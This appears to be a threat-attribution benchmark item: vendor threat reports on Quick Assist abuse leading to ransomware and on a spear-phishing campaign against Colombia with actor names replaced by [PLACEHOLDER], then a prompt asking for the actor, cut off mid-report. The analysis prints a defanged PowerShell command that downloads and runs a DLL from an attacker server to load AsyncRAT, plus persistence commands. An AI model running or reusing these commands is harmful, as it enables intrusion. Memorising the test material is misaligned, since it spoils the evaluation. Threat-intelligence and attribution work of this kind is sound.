of Quick Assist prompt to enter security code Figure 1. Quick Assist prompt to enter security code After the target enters the security code, they receive a dialog box asking for permission to allow screen sharing. Selecting Allow shares the user’s screen with the actor. Screenshot of Quick Assist dialog box asking permission to allow screen sharing Figure 2. Quick Assist dialog box asking permission to allow screen sharing Once in the session, the threat actor can select Request Control, which if approved by the target, grants the actor full control of the target’s device. Screenshot of Quick Assist dialog box asking permission to allow control Figure 3. Quick Assist dialog box asking permission to allow control Follow-on activity leading to [PLACEHOLDER] ransomware Once the user allows access and control, the threat actor runs a scripted cURL command to download a series of batch files or ZIP files used to deliver malicious payloads. Some of the batch scripts observed reference installing fake spam filter updates requiring the targets to provide sign-in credentials. In several cases, Microsoft Threat Intelligence identified such activity leading to the download of Qakbot, RMM tools like ScreenConnect and NetSupport Manager, and Cobalt Strike. Screenshot of two lines of cURL commands Figure 4. Examples of cURL commands to download batch files and ZIP files Qakbot has been used over the years as a remote access vector to deliver additional malicious payloads that led to ransomware deployment. In this recent activity, Qakbot was used to deliver a Cobalt Strike Beacon attributed to [PLACEHOLDER]. ScreenConnect was used to establish persistence and conduct lateral movement within the compromised environment. NetSupport Manager is a remote access tool used by multiple threat actors to maintain control over compromised devices. An attacker might use this tool to remotely access the device, download and install additional malware, and launch arbitrary commands. The mentioned RMM tools are commonly used by threat actors because of their extensive capabilities and ability to blend in with the environment. In some cases, the actors leveraged the OpenSSH tunneling tool to establish a secure shell (SSH) tunnel for persistence. After the threat actor installs the initial tooling and the phone call is concluded, [PLACEHOLDER] leverages their access and performs further hands-on-keyboard activities such as domain enumeration and lateral movement. In cases where [PLACEHOLDER] relies on Teams messages followed by phone calls and remote access through Quick Assist, the threat actor uses BITSAdmin to download batch files and ZIP files from a malicious site, for example antispam3[.]com. [PLACEHOLDER] also provides the target user with malicious links that redirect the user to an EvilProxy phishing site to input credentials. EvilProxy is an adversary-in-the-middle (AiTM) phishing kit used to capture passwords, hijack a user’s sign-in session, and skip the authentication process. [PLACEHOLDER] was also observed deploying SystemBC, a post-compromise commodity remote access trojan (RAT) and proxy tool typically used to establish command-and-control communication, establish persistence in a compromised environment, and deploy follow-on malware, notably ransomware. In several cases, [PLACEHOLDER] uses PsExec to deploy [PLACEHOLDER] ransomware throughout the network. [PLACEHOLDER] is a closed ransomware offering (exclusive and not openly marketed like ransomware as a service) distributed by a small number of threat actors who typically rely on other threat actors for initial access, malicious infrastructure, and malware development. Since [PLACEHOLDER] first appeared in April 2022, [PLACEHOLDER] attackers have deployed the ransomware after receiving access from Qakbot and other malware distributors, highlighting the need for organizations to focus on attack stages prior to ransomware deployment to reduce the threat. In the next sections, we share recommendations for improving defenses against this threat, including best practices when using Quick Assist and mitigations for reducing the impact of [PLACEHOLDER] and other ransomware. Recommendations Microsoft recommends the following best practices to protect users and organizations from attacks and threat actors that misuse Quick Assist: Consider blocking or uninstalling Quick Assist and other remote monitoring and management tools if these tools are not in use in your environment. If your organization utilizes another remote support tool such as Remote Help, block or remove Quick Assist as a best practice. Remote Help is part of the Microsoft Intune Suite and provides authentication and security controls for helpdesk connections. Educate users about protecting themselves from tech support scams. Tech support scams are an industry-wide issue where scammers use scary tactics to trick users into unnecessary technical support services. Only allow a helper to connect to your device using Quick Assist if you initiated the interaction by contacting Microsoft Support or your IT support staff directly. Don’t provide access to anyone claiming to have an urgent need to access your device. If you suspect that the person connecting to your device is conducting malicious activity, disconnect from the session immediately and report to your local authorities and/or any relevant IT members within your organization. Users who have been affected by a tech support scam can also use the Microsoft technical support scam form to report it. Microsoft recommends the following mitigations to reduce the impact of this threat: Educate users about protecting personal and business information in social media, filtering unsolicited communication, identifying lure links in phishing emails, and reporting reconnaissance attempts and other suspicious activity. Educate users about preventing malware infections, such as ignoring or deleting unsolicited and unexpected emails or attachments sent through instant messaging applications or social networks as well as suspicious phone calls. Invest in advanced anti-phishing solutions that monitor incoming emails and visited websites. Microsoft Defender for Office 365 brings together incident and alert management across email, devices, and identities, centralizing investigations for email-based threats. Educate Microsoft Teams users to verify ‘External’ tagging on communication attempts from external entities, be cautious about what they share, and never share their account information or authorize sign-in requests over chat. Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps. Apply Microsoft’s security best practices for Microsoft Teams to safeguard Teams users. Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet. Turn on tamper protection features to prevent attackers from stopping security services. Enable investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. Refer to Microsoft’s human-operated ransomware overview for general hardening recommendations against ransomware attacks. Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques: Block executable files from running unless they meet a prevalence, age, or trusted list criterion Block execution of potentially obfuscated scripts Block process creations originating from PSExec and WMI commands Use advanced protection against ransomware Detection details Microsoft Defender Antivirus Microsoft Defender Antivirus detects Qakbot downloaders, implants, and behavior as the following malware: TrojanDownloader:O97M/Qakbot Trojan:Win32/QBot Trojan:Win32/Qakbot TrojanSpy:Win32/Qakbot Behavior:Win32/Qakbot [PLACEHOLDER] threat components are detected as the following: Behavior:Win32/Basta Ransom:Win32/Basta Trojan:Win32/Basta Microsoft Defender Antivirus detects Beacon running on a victim process as the following: Behavior:Win32/CobaltStrike Backdoor:Win64/CobaltStrike HackTool:Win64/CobaltStrike Additional Cobalt Strike components are detected as the following: TrojanDropper:PowerShell/Cobacis Trojan:Win64/TurtleLoader.CS Exploit:Win32/ShellCode.BN SystemBC components are detected as: Behavior:Win32/SystemBC Trojan: Win32/SystemBC Microsoft Defender for Endpoint Alerts with the following title in the security center can indicate threat activity on your network: Suspicious activity using Quick Assist The following alerts might also indicate activity related to this threat. Note, however, that these alerts can also be triggered by unrelated threat activity. Suspicious curl behavior Suspicious bitsadmin activity Suspicious file creation by BITSAdmin tool A file or network connection related to a ransomware-linked emerging threat activity group detected —This alert captures [PLACEHOLDER] activity Ransomware-linked emerging threat activity group Storm-0303 detected — This alert captures some Qakbot distributor activity Possible Qakbot activity Possible NetSupport Manager activity Possibly malicious use of proxy or tunneling tool Suspicious usage of remote management software Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike) Human-operated attack using Cobalt Strike Human-operated attack implant tool detected Ransomware behavior detected in the file system |
https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia | [PLACEHOLDER] has been actively targeting organizations in Colombia and Ecuador since at least 2019. It relies on spear-phishing emails sent to specific and strategic companies to conduct its campaigns. On Feb. 20, the BlackBerry Research and Intelligence team witnessed a new campaign where the threat actor impersonated a Colombian government tax agency to target key industries in Colombia, including health, financial, law enforcement, immigration, and an agency in charge of peace negotiation in the country. Based on the infector vector and payload deployment mechanism, we also uncovered campaigns targeting Ecuador, Chile, and Spain. Brief MITRE ATT&CK Information Tactic Technique Initial Access T1566.001 Execution T1204.001, T1204.002, T1059.005, T1059.001, T1059.003 Persistence T1053.005, T1547.001 Defense Evasion T1218.009 Weaponization and Technical Overview Weapons PDF for lures, Visual Basic Scripts, .NET Assemblies injected in memory, Malicious DLLs, PowerShell Attack Vector Spear-phishing attachment with PDF Network Infrastructure DDNS DuckDNS, Discord, Web Applications Targets Entities in Colombia Technical Analysis Context [PLACEHOLDER] is a South American cyber espionage group that has been actively targeting Latin America-based entities over the last few years. Although most of its efforts have been focused on Colombia, according to research conducted by CheckPoint researchers, it has also carried out intrusions against Ecuador. The main targets of this group for the last few years have been those related to financial and governmental entities. The initial vector for infection is typically a PDF attachment sent by email. In the case we’ll be examining in this report, the sender of the phishing email opted to use the Blind Carbon Copy (BCC) field instead of the To: field, most likely in an attempt to evade spam filters. They orchestrated their scam to correspondencia@ccb.org.co, which is the official email address listed on the Contact Us page of the Bogota Chamber of Commerce website. Bogotá, of course, is the Capital of Colombia. The email's Subject line reads, "Obligaciones pendientes - DIAN N.2023-6980070- 39898001" - in English, this means “outstanding obligations,” a lure craftily designed to catch the attention of unsuspecting law-abiding recipients. DIAN is Colombia’s Directorate of National Taxes and Customs - the Dirección de Impuestos y Aduanas Nacionales. The letter we analyzed states that the recipient is “45 days in arrears” with a tax payment, and tells the target to click a link to view their invoice, which comes in the form of a password-protected PDF. The letter was signed by a (likely fictious) “Roberto Mendoza Ortiz, Department Head.” The phishing email's sender is "alfredo agudelo moreno agudelomorenoalfredo79[at]gmail[.]com," an email address which also appears to have been be made up specifically for this campaign. We also found another email address associated with this campaign – cobrofactura09291[at]gmail[.]com. The PDF attached to the phishing email tries to trick the recipient with logos and messages related to the Directorate of National Taxes and Customs. [PLACEHOLDER] has regularly used DIAN in their spear-phishing lures over the years, presumably hoping that their targets’ wish to maintain in good standing with the tax authorities would override any natural caution they may have when opening emails sent from an unfamiliar email address. The PDF contains a URL different from the legitimate hyperlink to DIAN’s website, which is https://www.dian.gov.co/. The URL shown is the real one; however, if the user clicks on it, they are redirected to a different website. Finally, the URL field of this new site contains a URL which downloads a second-stage payload from the public service Discord. Below is the full intrusion attempt shown step-by-step: Figure 1: Attack flow of [PLACEHOLDER]’s campaign analyzed Attack Vector Hashes (md5, sha-256) e4d2799f3001a531d15939b1898399b4 fc85d3da6401b0764a2e8a5f55334a7d683ec20fb8210213feb6148f02a30554 File name Fv3608799004720042L900483000P19878099700001537012.pdf File Size 507436 bytes Created 2023:01:25 10:07:03-05:00 Author Dirección De Aduanas Nacionales Calle 23 # 157-25 la Last Modified 2023:01:25 10:07:03-05:00 DocumentID uuid:9585FD65-6D08-453D-9E4A-51155AD12748 What is the DIAN? The Directorate of National Taxes and Customs is an entity attached to the Ministry of Finance and Public Credit. The DIAN is organized as a Special Administrative Unit of the national order. Its purpose is to help guarantee the fiscal security of the Colombian State and the protection of the national economic public order through the administration and control of due compliance with tax, customs, and exchange obligations. The jurisdiction of the DIAN includes the national territory. It is headquartered in Bogotá, the Capital of Colombia. Weaponization [PLACEHOLDER] carefully targets its victims with spear-phishing emails, in a similar fashion to other campaigns by the group. It entices its targets to click links contained in the body of the email, or to download a malicious PDF file, which purports to contain information about overdue taxes. The URL shown on the bait document masquerades as the actual domain of DIAN. However, when clicked, the hyperlink leads to another domain created entirely by the threat actor using the public service website[.]org. The link redirects the target to dian.server[.]tl. This crafty technique is known as URL phishing. Figure 2: Content of the bait email, masquerading as the Directorate of National Taxes and Customs In English, the bait document reads: Dear taxpayer, At DIAN we maintain our commitment to provide you with the necessary assistance and services so that you can comply in a timely and correct manner with your tax obligations. For this reason, we remind you that you are in arrears with your obligations. for an amount owed of THREE MILLION TWO HUNDRED FIFTY-TWO THOUSAND ONE HUNDRED FORTY PESOS, with 45 days in arrears due to the lack of commitment in your financial obligations regulated in law 0248 of the year 2005 numeral 12. Next, we put at your disposal the Virtual PDF with all the details of your obligations generated to date. Submit a foreclosure process and pay on time. In the following link you will find the invoice in PDF format. To view the document, enter the password: A2023 Cordially, ROBERTO MENDOZA ORTIZ Department Head When the victim clicks on the masked link in the email, they are redirected to dian.server[.]tl. The threat actor carefully crafted this webpage to deceive the victim into believing they are interacting with the real DIAN. Figure 3: Content presented to the user on the fake webpage dian.server[.]tl Looking at the code of the webpage, the content presented to the users is loaded from website[.]org/s8Xwt2 or website[.]org/render/s8Xwt2, and not from dian.server[.]tl. This is accomplished by using an iframe resized to the 100% of the screen. Figure 4: The content the victim sees is shown on the left, which is loaded from the resource shown on the right The fake DIAN website page contains a button that encourages the victim to download a PDF to view what the site claims to be pending tax invoices. Clicking the blue button initiates the download of a malicious file from the Discord content delivery network (CDN), which the attackers are abusing in this phishing scam. hxxps://cdn.discordapp[.]com/attachments/1067819339090243727/1071063499494666240/Asuntos_DIAN_N34000137L287004P08899997012-03-02-2023-pdf[.]uue hxxps://cdn.discordapp[.]com/attachments/1066009888083431506/1070342535702130759/Asuntos_DIAN_N6440005403992837L2088970004-01-02-2023-pdf[.]uue hxxps://cdn.discordapp[.]com/attachments/1072851594812600351/1072851643583967272/Asuntos_DIAN_N3663000227L2870000002456880-08-02-2023-pdf[.]uue The downloaded file tries to trick the user into manually adding the word “pdf” at the end of the filename. However, the real extension is actually “uue.” This is a file extension WinRAR opens by default. Behind the extension there is a .RAR archive. Figure 5: Default installation of WinRAR with uue extension Hashes (md5, sha-256) B432202CF7F00B4A4CBE377C284F3F28 6D9D0EB5E8E69FFE9914C63676D293DA1B7D3B7B9F3D2C8035ABE0A3DE8B9FCA File Name Asuntos_DIAN_N6440005403992837L2088970004-01-02-2023-pdf.uue File Size 1941 (bytes) It’s necessary to decompress the contents of the .uue file to continue with the infection chain. The compressed .uue file contains yet another file inside it. The inner file uses the same naming convention as the parent, but in this case, the new file is a Visual Basic Script (VBS). Figure 6: Content of the malicious .uue file Hashes (md5, sha-256) 6BEF68F58AFCFDD93943AFCC894F8740 430BE2A37BAC2173CF47CA1376126A3E78A94904DBC5F304576D87F5A17ED366 File name Asuntos_DIAN_N°6440005403992837L2088970004-01-02-2023-pdf.vbs File Size 227378 (bytes) Last Modified 2023:01:31 23:01:04 The file-extracted VBS script is executed via wscript.exe once the user double-clicks the file, so an element of user-interaction is involved in executing the attack. Upon execution, the infection chain starts automatically and carries out various actions within the system without any further user input, as seen below in figure 7. Figure 7: Process tree once the VBS script is manually executed by the user The VBS script's content is encoded but easy for a researcher to understand and decode. Figure 8: Content of the VBS script The VBS script contains a significant amount of junk code, but has several replace functions to construct the PowerShell execution. Figure 9: Replace functions to replace junk code by the original behavior The content was built under the variable “OXVTEUOWQPEFWQ”, as shown in figure 9 above. After creating that content, figure 8 shows the variable “YISMXXAPAUXCGFI”, which is set as a WScript object. After decoding the code, to better understand its behavior, we can see that a part of the logic - the URL shown in the above image - is actually reversed. Figure 10: Part of the VBS code decoded Figure 11: A closer look at part of the VBS code, decoded The final payload executed is powershell.exe, with the following command line parameters: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('hxxp://172.174.176[.]153/dll/Dll.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.ysa/3383903646370010701/3046420575525667501/stnemhcatta/moc.ppadrocsid.ndc//:sptth')) First, PowerShell downloads and executes the decoded base64 content of hxxp://172.174.176[.]153/dll/Dll.ppam, which is a .NET DLL encoded, as shown in figure 12. Figure 12: Base64 content from the server, called using powershell.exe Next, it uses GetType(‘Fiber.home’).GetMethod(‘VAI’), to load the VAI method from the DLL downloaded previously. The logic of this method is as follows: To create a copy of the Visual Basic Script called “Asuntos_DIAN_N°6440005403992837L2088970004-01-02-2023-pdf.vbs” in C:\Windows\Temp\OneDrive.vbs if it already doesn’t exist using PowerShell. Powershell.exe -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\OneDrive.vbs Download the content of hxxp://172.174.176[.]153/rump/Rump.xls (Fsociety) Replace characters of the content downloaded Reverse the text of the second URL in the PowerShell command and download its content (hxxps://cdn.discordapp[.]com/attachments/1057665255750246403/1070100736463093833/asy[.]txt (AsyncRAT payload) Create a string with the content “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe” Load the Fsociety DLL into memory, passing two parameters: RegSvcs path AsyncRAT payload Fsociety DLL loads AsyncRAT in the RegSvcs process using the Process Hollowing technique To better understand the PowerShell execution, the following image demonstrates the sequence of loading DLLs dynamically in memory until the final goal, which is to load AsyncRAT into memory. AsyncRAT is one of the most popular open-source remote access Trojans (RATs) on the threat landscape today. Figure 13: Sequence of loaded DLLs after PowerShell execution The following image is part of all the behavior described above, related to the first DLL loaded using the PowerShell command spawned by the VBS Script and calling the ‘VAI’ method. Figure 14: Part of the method VAI previously called by PowerShell As mentioned, Fsociety.dll is used to load the final payload of AsyncRAT, which is downloaded from Discord. [PLACEHOLDER] mainly uses AsyncRAT, njRAT, QuasarRAT, LimeRAT, and RemcosRAT in its campaigns. A RAT is a remote access tool a network admin may use to remotely administrate the node. So a malicious RAT installed on a victim’s machine enables the threat actor to connect to the infected endpoint any time they like, and to perform any operations they desire. Figure 15: Fsociety.dll is used to load AsyncRAT in memory The “Ande” function called in the Fsociety.dll contains the following code: Figure 16: Fsociety DLL code Hashes (md5, sha-256) C75F9D3DA98E57B973077FDE8EC3780F 5399BF1F18AFCC125007D127493082005421C5DDEBC34697313D62D8BC88DAEC File Name Fiber.dll (Dll.ppam) File Size 10240 bytes Compiled Thu Feb 02 21:43:24 2023 | UTC Hashes (md5, sha-256) 07AF8778DE9F2BC53899AAC7AD671A72 03B7D19202F596FE4DC556B7DA818F0F76195912E29D728B14863DDA7B91D9B5 File Name Fsociety.dll (Rump.xls) File Size 25600 bytes Compiled Sat May 18 00:13:09 2086 | UTC Hashes (md5, sha-256) 5E518B80C701E17259F3E7323EFFC83F 64A08714BD5D04DA6E2476A46EA620E3F7D2C8A438EDA8110C3F1917D63DFCFC File Name Stub.exe (AsyncRAT payload) File Size 26080 bytes Compiled Sun May 10 05:24:51 2020 | UTC AsyncRAT contains a configuration method with information that is used during the intrusion attempt. This information is encrypted using Base64 and AES256. Figure 17: AsyncRAT configuration encrypted Once the configuration is decrypted, it contains information about the Command-and-Control (C2) to transfer commands and files between client and server. Figure 18: AsyncRAT configuration decrypted Also, between the configuration, it was possible to obtain the X.509 certificates used for communication with the C2. Figure 19: Certificate extracted from the AsyncRAT config AsyncRAT can establish persistence in two different ways, depending on whether a user loaded it with admin privileges or not. A copy of itself is first created under C:\Users\<user>\AppData\Roaming\MRR.exe. Figure 20: Creation of MRR in AppData folder 1. If the user who executed it was an admin, then AsyncRAT can create a scheduled task using the process schtasks.exe, with the following command line: a. "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "MRR" /tr '"C:\Users\<user>\AppData\Roaming\MRR.exe"' & exit' Figure 21: Execution of schtasks.exe via cmd.exe Figure 22: Command line executed to create scheduled task and run AsyncRAT 2. If the user is not an admin, then AsyncRAT can create a registry key to execute the binary every time the system is started: a. Key: KCU\Software\Microsoft\Windows\CurrentVersion\Run\MRR b. Value: C:\Users\<user>\AppData\Roaming\MRR.exe Figure 23: Registry key created to execute the AsyncRAT Payload An interesting part that always happens, regardless of whether the user is admin or not, is the creation of a .bat file in the user’s Temp directory to perform the following actions: a. Timeout.exe execution for three seconds b. Run the AsyncRAT payload from AppData folder c. Delete the .bat file Figure 24: tmp file creation in the Temp directory Figure 25: Execution of cmd.exe to load the .bat file from tmp folder We could determine that the .bat filename is randomly generated using the regular expression after several executions of this sample. The structure is like the next one: .*tmp[a-zA-Z1-9]{4}.tmp.bat. Figure 26: Persistence methods used by AsyncRAT Network Infrastructure In this case, the victim’s machine starts communicating with the DuckDNS server to receive and execute commands, exfiltrate information, and perform any other action desired by the threat actor. As seen in figure 18 above, the server used is asy1543.duckdns[.]org:1543. Figure 27: Communication started between victim’s machine and the threat actor’s C2 During our investigation, the resolution of the DuckDNS domain was changed to different IP addresses. Initially, the IP that resolves the domain was a VPN/Proxy service 46.246.86[.]3. While conducting the investigation, we discovered another IP with the same purpose, 46.246.12[.]6. Entity Value Description Domain asy1543.duckdns[.]org:1543 Final AsyncRAT payload communication domain IP 46.246.86[.]3 Resolution of the DuckDNS domain IP 46.246.12[.]6 Resolution of the DuckDNS domain URL hxxp://172.174.176[.]153/ Web application hosting payloads used during the infection IP 172.174.176[.]153 IP of the web application hosting payloads used during the infection [PLACEHOLDER]/ [PLACEHOLDER] uses Dynamic DNS (DDNS) services, such as DuckDNS, for most campaigns to connect its implemented RATs to the infrastructure they control to send and receive commands. DuckDNS additionally allows for high IP resolution rotation and the launch of new subdomains under this well-known DDNS The application web hosted under hxxp://172.174.176[.]153/ had two main directories where it stored information to be used during the intrusion as the user downloads and executes files. The first directory was hxxp://172.174.176[.]153/dll/, storing several DLLs used during the intrusion. Figure 28: Index of [PLACEHOLDER]'s /dll directory Another directory is found at hxxp://172.174.176[.]153/rump/ and stores another DLL, in this case, related to Fsociety: Figure 29: index of /rump directory Targets [PLACEHOLDER]/ [PLACEHOLDER]'s targets include health, public, financial, judiciary, and law enforcement entities in Colombia. Among the countries where we have seen [PLACEHOLDER] activity in the last few months, specifically distributing the UUE file types with different themes, include: Colombia Ecuador Chile Spain This is consistent with the use of the Spanish language in the group’s spear-phishing emails. Most countries in South America use Spanish (apart from Brazil), which matches the threat actor’s locale and the names in the bait document. Attribution [PLACEHOLDER] is a South American-based threat actor active since at least 2019. The group continues to concentrate its operations within a Hispanic geographic region, with its main targets being government institutions and other organizations primarily based in Colombia. The use of specific tools and artifacts, along with the type and configuration of the network infrastructure documented in this report, combined with the tactics, techniques & procedures (TTPs) used to deploy them, all closely align with previously attributed campaigns by this group. That, coupled with the geolocation and nature of the targets seen in this campaign, leads us to ascertain, at the very least, a moderate level of confidence that this campaign was conducted by [PLACEHOLDER]. Conclusions This campaign continues to operate for the purposes of information theft and espionage. The modus operandi used has mostly stayed the same as the group’s previous efforts – it is very simple, which may mean that this group is comfortable with its way of launching campaigns via phishing emails, and feels confident in using them because they continue to work. Over the next few months, we will likely continue to see new targets for this group, using new ways to deceive their victims. | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: [PLACEHOLDER] has been actively targeting organizations in Colombia and Ecuador since at least 2019. It relies on spear-phishing emails sent to specific and strategic companies to conduct its campaigns. On Feb. 20, the BlackBerry Research and Intelligence team witnessed a new campaign where the threat actor impersonated a Colombian government tax agency to target key industries in Colombia, including health, financial, law enforcement, immigration, and an agency in charge of peace negotiation in the country. Based on the infector vector and payload deployment mechanism, we also uncovered campaigns targeting Ecuador, Chile, and Spain. Brief MITRE ATT&CK Information Tactic Technique Initial Access T1566.001 Execution T1204.001, T1204.002, T1059.005, T1059.001, T1059.003 Persistence T1053.005, T1547.001 Defense Evasion T1218.009 Weaponization and Technical Overview Weapons PDF for lures, Visual Basic Scripts, .NET Assemblies injected in memory, Malicious DLLs, PowerShell Attack Vector Spear-phishing attachment with PDF Network Infrastructure DDNS DuckDNS, Discord, Web Applications Targets Entities in Colombia Technical Analysis Context [PLACEHOLDER] is a South American cyber espionage group that has been actively targeting Latin America-based entities over the last few years. Although most of its efforts have been focused on Colombia, according to research conducted by CheckPoint researchers, it has also carried out intrusions against Ecuador. The main targets of this group for the last few years have been those related to financial and governmental entities. The initial vector for infection is typically a PDF attachment sent by email. In the case we’ll be examining in this report, the sender of the phishing email opted to use the Blind Carbon Copy (BCC) field instead of the To: field, most likely in an attempt to evade spam filters. They orchestrated their scam to correspondencia@ccb.org.co, which is the official email address listed on the Contact Us page of the Bogota Chamber of Commerce website. Bogotá, of course, is the Capital of Colombia. The email's Subject line reads, "Obligaciones pendientes - DIAN N.2023-6980070- 39898001" - in English, this means “outstanding obligations,” a lure craftily designed to catch the attention of unsuspecting law-abiding recipients. DIAN is Colombia’s Directorate of National Taxes and Customs - the Dirección de Impuestos y Aduanas Nacionales. The letter we analyzed states that the recipient is “45 days in arrears” with a tax payment, and tells the target to click a link to view their invoice, which comes in the form of a password-protected PDF. The letter was signed by a (likely fictious) “Roberto Mendoza Ortiz, Department Head.” The phishing email's sender is "alfredo agudelo moreno agudelomorenoalfredo79[at]gmail[.]com," an email address which also appears to have been be made up specifically for this campaign. We also found another email address associated with this campaign – cobrofactura09291[at]gmail[.]com. The PDF attached to the phishing email tries to trick the recipient with logos and messages related to the Directorate of National Taxes and Customs. [PLACEHOLDER] has regularly used DIAN in their spear-phishing lures over the years, presumably hoping that their targets’ wish to maintain in good standing with the tax authorities would override any natural caution they may have when opening emails sent from an unfamiliar email address. The PDF contains a URL different from the legitimate hyperlink to DIAN’s website, which is https://www.dian.gov.co/. The URL shown is the real one; however, if the user clicks on it, they are redirected to a different website. Finally, the URL field of this new site contains a URL which downloads a second-stage payload from the public service Discord. Below is the full intrusion attempt shown step-by-step: Figure 1: Attack flow of [PLACEHOLDER]’s campaign analyzed Attack Vector Hashes (md5, sha-256) e4d2799f3001a531d15939b1898399b4 fc85d3da6401b0764a2e8a5f55334a7d683ec20fb8210213feb6148f02a30554 File name Fv3608799004720042L900483000P19878099700001537012.pdf File Size 507436 bytes Created 2023:01:25 10:07:03-05:00 Author Dirección De Aduanas Nacionales Calle 23 # 157-25 la Last Modified 2023:01:25 10:07:03-05:00 DocumentID uuid:9585FD65-6D08-453D-9E4A-51155AD12748 What is the DIAN? The Directorate of National Taxes and Customs is an entity attached to the Ministry of Finance and Public Credit. The DIAN is organized as a Special Administrative Unit of the national order. Its purpose is to help guarantee the fiscal security of the Colombian State and the protection of the national economic public order through the administration and control of due compliance with tax, customs, and exchange obligations. The jurisdiction of the DIAN includes the national territory. It is headquartered in Bogotá, the Capital of Colombia. Weaponization [PLACEHOLDER] carefully targets its victims with spear-phishing emails, in a similar fashion to other campaigns by the group. It entices its targets to click links contained in the body of the email, or to download a malicious PDF file, which purports to contain information about overdue taxes. The URL shown on the bait document masquerades as the actual domain of DIAN. However, when clicked, the hyperlink leads to another domain created entirely by the threat actor using the public service website[.]org. The link redirects the target to dian.server[.]tl. This crafty technique is known as URL phishing. Figure 2: Content of the bait email, masquerading as the Directorate of National Taxes and Customs In English, the bait document reads: Dear taxpayer, At DIAN we maintain our commitment to provide you with the necessary assistance and services so that you can comply in a timely and correct manner with your tax obligations. For this reason, we remind you that you are in arrears with your obligations. for an amount owed of THREE MILLION TWO HUNDRED FIFTY-TWO THOUSAND ONE HUNDRED FORTY PESOS, with 45 days in arrears due to the lack of commitment in your financial obligations regulated in law 0248 of the year 2005 numeral 12. Next, we put at your disposal the Virtual PDF with all the details of your obligations generated to date. Submit a foreclosure process and pay on time. In the following link you will find the invoice in PDF format. To view the document, enter the password: A2023 Cordially, ROBERTO MENDOZA ORTIZ Department Head When the victim clicks on the masked link in the email, they are redirected to dian.server[.]tl. The threat actor carefully crafted this webpage to deceive the victim into believing they are interacting with the real DIAN. Figure 3: Content presented to the user on the fake webpage dian.server[.]tl Looking at the code of the webpage, the content presented to the users is loaded from website[.]org/s8Xwt2 or website[.]org/render/s8Xwt2, and not from dian.server[.]tl. This is accomplished by using an iframe resized to the 100% of the screen. Figure 4: The content the victim sees is shown on the left, which is loaded from the resource shown on the right The fake DIAN website page contains a button that encourages the victim to download a PDF to view what the site claims to be pending tax invoices. Clicking the blue button initiates the download of a malicious file from the Discord content delivery network (CDN), which the attackers are abusing in this phishing scam. hxxps://cdn.discordapp[.]com/attachments/1067819339090243727/1071063499494666240/Asuntos_DIAN_N34000137L287004P08899997012-03-02-2023-pdf[.]uue hxxps://cdn.discordapp[.]com/attachments/1066009888083431506/1070342535702130759/Asuntos_DIAN_N6440005403992837L2088970004-01-02-2023-pdf[.]uue hxxps://cdn.discordapp[.]com/attachments/1072851594812600351/1072851643583967272/Asuntos_DIAN_N3663000227L2870000002456880-08-02-2023-pdf[.]uue The downloaded file tries to trick the user into manually adding the word “pdf” at the end of the filename. However, the real extension is actually “uue.” This is a file extension WinRAR opens by default. Behind the extension there is a .RAR archive. Figure 5: Default installation of WinRAR with uue extension Hashes (md5, sha-256) B432202CF7F00B4A4CBE377C284F3F28 6D9D0EB5E8E69FFE9914C63676D293DA1B7D3B7B9F3D2C8035ABE0A3DE8B9FCA File Name Asuntos_DIAN_N6440005403992837L2088970004-01-02-2023-pdf.uue File Size 1941 (bytes) It’s necessary to decompress the contents of the .uue file to continue with the infection chain. The compressed .uue file contains yet another file inside it. The inner file uses the same naming convention as the parent, but in this case, the new file is a Visual Basic Script (VBS). Figure 6: Content of the malicious .uue file Hashes (md5, sha-256) 6BEF68F58AFCFDD93943AFCC894F8740 430BE2A37BAC2173CF47CA1376126A3E78A94904DBC5F304576D87F5A17ED366 File name Asuntos_DIAN_N°6440005403992837L2088970004-01-02-2023-pdf.vbs File Size 227378 (bytes) Last Modified 2023:01:31 23:01:04 The file-extracted VBS script is executed via wscript.exe once the user double-clicks the file, so an element of user-interaction is involved in executing the attack. Upon execution, the infection chain starts automatically and carries out various actions within the system without any further user input, as seen below in figure 7. Figure 7: Process tree once the VBS script is manually executed by the user The VBS script's content is encoded but easy for a researcher to understand and decode. Figure 8: Content of the VBS script The VBS script contains a significant amount of junk code, but has several replace functions to construct the PowerShell execution. Figure 9: Replace functions to replace junk code by the original behavior The content was built under the variable “OXVTEUOWQPEFWQ”, as shown in figure 9 above. After creating that content, figure 8 shows the variable “YISMXXAPAUXCGFI”, which is set as a WScript object. After decoding the code, to better understand its behavior, we can see that a part of the logic - the URL shown in the above image - is actually reversed. Figure 10: Part of the VBS code decoded Figure 11: A closer look at part of the VBS code, decoded The final payload executed is powershell.exe, with the following command line parameters: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('hxxp://172.174.176[.]153/dll/Dll.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.ysa/3383903646370010701/3046420575525667501/stnemhcatta/moc.ppadrocsid.ndc//:sptth')) First, PowerShell downloads and executes the decoded base64 content of hxxp://172.174.176[.]153/dll/Dll.ppam, which is a .NET DLL encoded, as shown in figure 12. Figure 12: Base64 content from the server, called using powershell.exe Next, it uses GetType(‘Fiber.home’).GetMethod(‘VAI’), to load the VAI method from the DLL downloaded previously. The logic of this method is as 